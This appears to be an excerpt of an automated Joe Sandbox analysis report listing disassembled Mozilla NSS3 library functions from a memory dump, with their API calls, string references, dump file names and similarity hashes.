strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CC55D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6CC55EC0,00000000,?,?), ref: 6CC55D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6CC55D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC55D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC55D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6CC55D80

Strings

extern:, xrefs: 6CC55CEA, 6CC55D4B
sql:, xrefs: 6CC55CD1, 6CC55D36
multiaccess:, xrefs: 6CC55CB8
dbm:, xrefs: 6CC55D03, 6CC55D60
NSS_DEFAULT_DB_TYPE, xrefs: 6CC55D1A

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: 1c8e09a5d17bd79788fbabb7adc4817519ae1b551afe856bfebe7d657796bcff
Instruction ID: 3877da96279ec6e9e811adcb0446b08d3b8532225e10124edb7de6db16343b07
Opcode Fuzzy Hash: 1c8e09a5d17bd79788fbabb7adc4817519ae1b551afe856bfebe7d657796bcff
Instruction Fuzzy Hash: 333124E2A01311ABF7006F24CE4DF663368AF0224DF640070EE59E7A82FB61D439C299

Function 6CC56CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6CD21DE0,?), ref: 6CC56CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC56D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6CC56D70
PORT_Alloc_Util.NSS3(00000480), ref: 6CC56D82
DER_GetInteger_Util.NSS3(?), ref: 6CC56DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC56DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6CC56E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6CC56F19
PK11_DigestBegin.NSS3(00000000), ref: 6CC56F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6CC56F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CC57011
PK11_FreeSymKey.NSS3(00000000), ref: 6CC57033
free.MOZGLUE(?), ref: 6CC5703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6CC57060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6CC57087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6CC570AF

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 79d75f3bb2589a2baadf254154b0e81112641d48be976f2e290705aef3ad26fd
Instruction ID: bea62c6541a3ed1af3e56595cbaba7bf2e548fb629baa492c210b3daad2fe50e
Opcode Fuzzy Hash: 79d75f3bb2589a2baadf254154b0e81112641d48be976f2e290705aef3ad26fd
Instruction Fuzzy Hash: B8A16B71A056009BFB008F24DC85B5B32A4EB8131CFA48A39E959CBB81F775D879C757

Function 6CC1AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CBFAB95,00000000,?,00000000,00000000,00000000), ref: 6CC1AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6CBFAB95,00000000,?,00000000,00000000,00000000), ref: 6CC1AF39
PR_Unlock.NSS3(?,?,?,6CBFAB95,00000000,?,00000000,00000000,00000000), ref: 6CC1AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6CBFAB95,00000000,?,00000000,00000000,00000000), ref: 6CC1AF69
TlsGetValue.KERNEL32 ref: 6CC1B06B
EnterCriticalSection.KERNEL32(?), ref: 6CC1B083
PR_Unlock.NSS3(?), ref: 6CC1B0A4
TlsGetValue.KERNEL32 ref: 6CC1B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6CC1B0D9
PR_Unlock.NSS3 ref: 6CC1B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC1B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC1B182

Part of subcall function 6CC4FAB0: free.MOZGLUE(?,-00000001,?,?,6CBEF673,00000000,00000000), ref: 6CC4FAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CC1B177

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6CBFAB95,00000000,?,00000000,00000000,00000000), ref: 6CC1B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6CBFAB95,00000000,?,00000000,00000000,00000000), ref: 6CC1B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6CBFAB95,00000000,?,00000000,00000000,00000000), ref: 6CC1B1C2

Part of subcall function 6CC41560: TlsGetValue.KERNEL32(00000000,?,6CC10844,?), ref: 6CC4157A
Part of subcall function 6CC41560: EnterCriticalSection.KERNEL32(?,?,?,6CC10844,?), ref: 6CC4158F
Part of subcall function 6CC41560: PR_Unlock.NSS3(?,?,?,?,6CC10844,?), ref: 6CC415B2

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: 874636ad747faaefc5073be6a69a09d49837946f376739ef36e1fd169836f5b3
Instruction ID: f4296026e3434e088a3103f851f87047c760891356ba5d1b8467893f0497e906
Opcode Fuzzy Hash: 874636ad747faaefc5073be6a69a09d49837946f376739ef36e1fd169836f5b3
Instruction Fuzzy Hash: F2A1BFB1E002059BEF009F65DC41BEEB7B4BF48318F144125EA09A6B51FB31E999DBA1

Function 6CC6AD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC6ADB1

Part of subcall function 6CC4BE30: SECOID_FindOID_Util.NSS3(6CC0311B,00000000,?,6CC0311B,?), ref: 6CC4BE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CC6ADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CC6AE08

Part of subcall function 6CC4B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CD218D0,?), ref: 6CC4B095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC6AE25
PL_FreeArenaPool.NSS3 ref: 6CC6AE63
PR_CallOnce.NSS3(6CD52AA4,6CC512D0), ref: 6CC6AE4D

Part of subcall function 6CB74C70: TlsGetValue.KERNEL32(?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74C97
Part of subcall function 6CB74C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74CB0
Part of subcall function 6CB74C70: PR_Unlock.NSS3(?,?,?,?,?,6CB73921,6CD514E4,6CCBCC70), ref: 6CB74CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC6AE93
PR_CallOnce.NSS3(6CD52AA4,6CC512D0), ref: 6CC6AECC
PL_FreeArenaPool.NSS3 ref: 6CC6AEDE
PL_FinishArenaPool.NSS3 ref: 6CC6AEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC6AEF5
PL_FinishArenaPool.NSS3 ref: 6CC6AF16

Strings

security, xrefs: 6CC6ADEE

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 7f60c313ca99891cf8ebfcd6941eee668bf87c33ad37e64b9cdf717114e799b4
Instruction ID: b580edac06271408f38be4c159b3a9e17343c2b601f441d8bb90c2ed9bcbf634
Opcode Fuzzy Hash: 7f60c313ca99891cf8ebfcd6941eee668bf87c33ad37e64b9cdf717114e799b4
Instruction Fuzzy Hash: DE413AB590462067FB218B269DC4BBA32A8AFD231CF500525E91492F81F7359939C7D3

Function 6CC5E8C0 Relevance: 22.9, APIs: 15, Instructions: 353memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(0000001C,?,6CC5E853,?,FFFFFFFF,?,?,6CC5B0CC,?,6CC5B4A0,?,00000000), ref: 6CC5E8D9

Part of subcall function 6CC50D30: calloc.MOZGLUE ref: 6CC50D50
Part of subcall function 6CC50D30: TlsGetValue.KERNEL32 ref: 6CC50D6D

Part of subcall function 6CC5C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CC5DAE2,?), ref: 6CC5C6C2

PORT_ArenaMark_Util.NSS3(?), ref: 6CC5E972
PORT_ArenaMark_Util.NSS3(?), ref: 6CC5E9C2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC5EA00
PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6CC5EA3F
SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6CC5EA5A
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6CC5EA81
SECOID_SetAlgorithmID_Util.NSS3(?,?,00000010,00000000), ref: 6CC5EA9E
SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CC5EACF
PK11_KeyGen.NSS3(00000000,-00000001,00000000,?,00000000), ref: 6CC5EB56
PK11_FreeSymKey.NSS3(00000000), ref: 6CC5EBC2
SECOID_FindOID_Util.NSS3(?), ref: 6CC5EBEC
free.MOZGLUE(00000000), ref: 6CC5EC58

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Find$ArenaTag_$AlgorithmAlloc_K11_Mark_$DestroyFreePublicValuecallocfree
String ID:
API String ID: 759478663-0
Opcode ID: ab8a41e200a90f051bad1fbe76a5e72d5e23b8d1c7b69da6c9d891ad093b8a11
Instruction ID: c5c74e6058a61125d067ab41576599f0f12bf0ad59a25efbb4c420fc0ac2eebc
Opcode Fuzzy Hash: ab8a41e200a90f051bad1fbe76a5e72d5e23b8d1c7b69da6c9d891ad093b8a11
Instruction Fuzzy Hash: 18C18FB1E002059BEB04CF69D880BAA7BB4BF08308F54006DE916A7B51F735E834CBD9

Function 6CC26AF0 Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 101COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptFinal), ref: 6CC26B16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC26B44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC26B53

Part of subcall function 6CD0D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD0D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC26B69
PR_LogPrint.NSS3( pLastPart = 0x%p,?), ref: 6CC26B85
PR_LogPrint.NSS3( pulLastPartLen = 0x%p,?), ref: 6CC26BA0
PR_LogPrint.NSS3( *pulLastPartLen = 0x%x,?), ref: 6CC26C0A

Strings

*pulLastPartLen = 0x%x, xrefs: 6CC26C05
(CK_INVALID_HANDLE), xrefs: 6CC26B4C
hSession = 0x%x, xrefs: 6CC26B2E, 6CC26B3E
pLastPart = 0x%p, xrefs: 6CC26B80
pulLastPartLen = 0x%p, xrefs: 6CC26B9B
C_DecryptFinal, xrefs: 6CC26B11

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulLastPartLen = 0x%x$ hSession = 0x%x$ pLastPart = 0x%p$ pulLastPartLen = 0x%p$ (CK_INVALID_HANDLE)$C_DecryptFinal
API String ID: 1003633598-2565524109
Opcode ID: 85a1a5856c2f237ec9d9c272098d4193c55d7582487f878a8a156aa04b0cc265
Instruction ID: 4e0141c37c81680439f000aa24fa33ef26d344b41f01bc2616f475378f918301
Opcode Fuzzy Hash: 85a1a5856c2f237ec9d9c272098d4193c55d7582487f878a8a156aa04b0cc265
Instruction Fuzzy Hash: 9C31E871B01540AFFB00DF58EC88F5A77B9EB4234DF884026E60997A21EB34980CC7A1

Function 6CC329A0 Relevance: 22.8, APIs: 15, Instructions: 292COMMON

Download Yara Rule

APIs

PK11_ImportPublicKey.NSS3(00000000,?,00000000,?,?,?,?,?,6CC06A5E,00000001,00000000,?,6CC06540,?,0000000D,00000000), ref: 6CC32A39
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6CC06A5E,00000001,00000000,?,6CC06540,?,0000000D,00000000), ref: 6CC32A5B
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,6CC06A5E,00000001,00000000,?,6CC06540,?,0000000D), ref: 6CC32A6F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CC06A5E,00000001), ref: 6CC32AAD
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CC06A5E,00000001,00000000), ref: 6CC32ACB
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CC06A5E,00000001), ref: 6CC32ADF
PR_Unlock.NSS3(?), ref: 6CC32B38
PR_Unlock.NSS3(?), ref: 6CC32B8B

Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07AD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07CD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07D6
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB7204A), ref: 6CBE07E4
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,6CB7204A), ref: 6CBE0864
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBE0880
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB7204A), ref: 6CBE08CB
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08D7
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08FB

PR_SetError.NSS3(FFFFE040,00000000,?,?,?,?,?,6CC06A5E,00000001,00000000,?,6CC06540,?,0000000D,00000000,?), ref: 6CC32CA2

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSectioncalloc$ErrorImportK11_Public
String ID:
API String ID: 2580468248-0
Opcode ID: a92b8060a026ea8123bf0ff16181e202189ac544685a26ca7839dd175701b7af
Instruction ID: a98bc670443a26a8458dac3b2ba36e078a69b803739e7837ce763aaccf1aeddc
Opcode Fuzzy Hash: a92b8060a026ea8123bf0ff16181e202189ac544685a26ca7839dd175701b7af
Instruction Fuzzy Hash: 68B1D071D002149FEF10DF69E888B9AB7B4FF49308F549529D94AA3B12E731E884CBD1

Function 6CD0AF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CCB9890: TlsGetValue.KERNEL32(?,?,?,6CCB97EB), ref: 6CCB989E

EnterCriticalSection.KERNEL32(?), ref: 6CD0AF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6CD0AFCE
PR_SetPollableEvent.NSS3(?), ref: 6CD0AFD9
EnterCriticalSection.KERNEL32(?), ref: 6CD0AFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6CD0B00F
_PR_MD_UNLOCK.NSS3(?), ref: 6CD0B02F
_PR_MD_UNLOCK.NSS3(?), ref: 6CD0B070
PR_JoinThread.NSS3(?), ref: 6CD0B07B
free.MOZGLUE(?), ref: 6CD0B084
EnterCriticalSection.KERNEL32(?), ref: 6CD0B09B
_PR_MD_UNLOCK.NSS3(?), ref: 6CD0B0C4
PR_JoinThread.NSS3(?), ref: 6CD0B0F3
free.MOZGLUE(?), ref: 6CD0B0FC
PR_JoinThread.NSS3(?), ref: 6CD0B137
free.MOZGLUE(?), ref: 6CD0B140

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 9fc7e12a2e371377e39c79de188d84f7010cf06cfd6e56a82a1cfcf88eda3ef9
Instruction ID: e4f8d93cceecf91c3bf37194d4ab0c3f2f2143c083f5cd86b6668d7f7b93346e
Opcode Fuzzy Hash: 9fc7e12a2e371377e39c79de188d84f7010cf06cfd6e56a82a1cfcf88eda3ef9
Instruction Fuzzy Hash: EC915EB5A00601DFCB04DF19D88085ABBF1FF4931872985A9D8595BB62E732FC4ACF91

Function 6CC12980 Relevance: 22.7, APIs: 15, Instructions: 217COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CBF9E71,?,?,6CC0F03D), ref: 6CC129A2
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CBF9E71,?), ref: 6CC129B6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CBF9E71,?,?,6CC0F03D), ref: 6CC129E2
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CBF9E71,?), ref: 6CC129F6
PL_HashTableLookup.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CBF9E71,?), ref: 6CC12A06
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CBF9E71), ref: 6CC12A13

Part of subcall function 6CC9DD70: TlsGetValue.KERNEL32 ref: 6CC9DD8C
Part of subcall function 6CC9DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC9DDB4

PR_Unlock.NSS3(?), ref: 6CC12A6A
TlsGetValue.KERNEL32 ref: 6CC12A98
EnterCriticalSection.KERNEL32(?), ref: 6CC12AAC
PL_HashTableLookup.NSS3(?,?), ref: 6CC12ABC
PR_Unlock.NSS3(?), ref: 6CC12AC9
TlsGetValue.KERNEL32 ref: 6CC12B3D
EnterCriticalSection.KERNEL32(?), ref: 6CC12B51
PL_HashTableLookup.NSS3(?,6CBF9E71), ref: 6CC12B61
PR_Unlock.NSS3(?), ref: 6CC12B6E

Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07AD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07CD
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB7204A), ref: 6CBE07D6
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB7204A), ref: 6CBE07E4
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,6CB7204A), ref: 6CBE0864
Part of subcall function 6CBE07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CBE0880
Part of subcall function 6CBE07A0: TlsSetValue.KERNEL32(00000000,?,?,6CB7204A), ref: 6CBE08CB
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08D7
Part of subcall function 6CBE07A0: TlsGetValue.KERNEL32(?,?,6CB7204A), ref: 6CBE08FB

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterUnlock$HashLookupTable$calloc$Leave
String ID:
API String ID: 2204204336-0
Opcode ID: 354a18db4a4bcbde3b25af4855cddb1dbaf21eed75feab67c039395c41318ead
Instruction ID: 2f6a46968129ca1ea0c3c8833476476de59978514f87f044178843a2f8781a38
Opcode Fuzzy Hash: 354a18db4a4bcbde3b25af4855cddb1dbaf21eed75feab67c039395c41318ead
Instruction Fuzzy Hash: 73713D7AD042049BEF009F25DC4499A77B8FF0A358B058564DD1C9BB11FB31E994D7D0

Function 6CC85CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6CC82BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CC82A28,00000060,00000001), ref: 6CC82BF0
Part of subcall function 6CC82BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CC82A28,00000060,00000001), ref: 6CC82C07
Part of subcall function 6CC82BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6CC82A28,00000060,00000001), ref: 6CC82C1E
Part of subcall function 6CC82BE0: free.MOZGLUE(?,00000000,00000000,?,6CC82A28,00000060,00000001), ref: 6CC82C4A

free.MOZGLUE(?,?,6CC8AAD4,?,?,?,?,?,?,?,?,00000000,?,6CC880C1), ref: 6CC85D0F
free.MOZGLUE(?,?,?,6CC8AAD4,?,?,?,?,?,?,?,?,00000000,?,6CC880C1), ref: 6CC85D4E
free.MOZGLUE(?,?,?,6CC8AAD4,?,?,?,?,?,?,?,?,00000000,?,6CC880C1), ref: 6CC85D62
free.MOZGLUE(?,?,?,?,6CC8AAD4,?,?,?,?,?,?,?,?,00000000,?,6CC880C1), ref: 6CC85D85
free.MOZGLUE(?,?,?,?,6CC8AAD4,?,?,?,?,?,?,?,?,00000000,?,6CC880C1), ref: 6CC85D99
free.MOZGLUE(?,?,?,?,6CC8AAD4,?,?,?,?,?,?,?,?,00000000,?,6CC880C1), ref: 6CC85DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6CC8AAD4,?,?,?,?,?,?,?,?,00000000,?,6CC880C1), ref: 6CC85E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6CC8AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CC85E3E
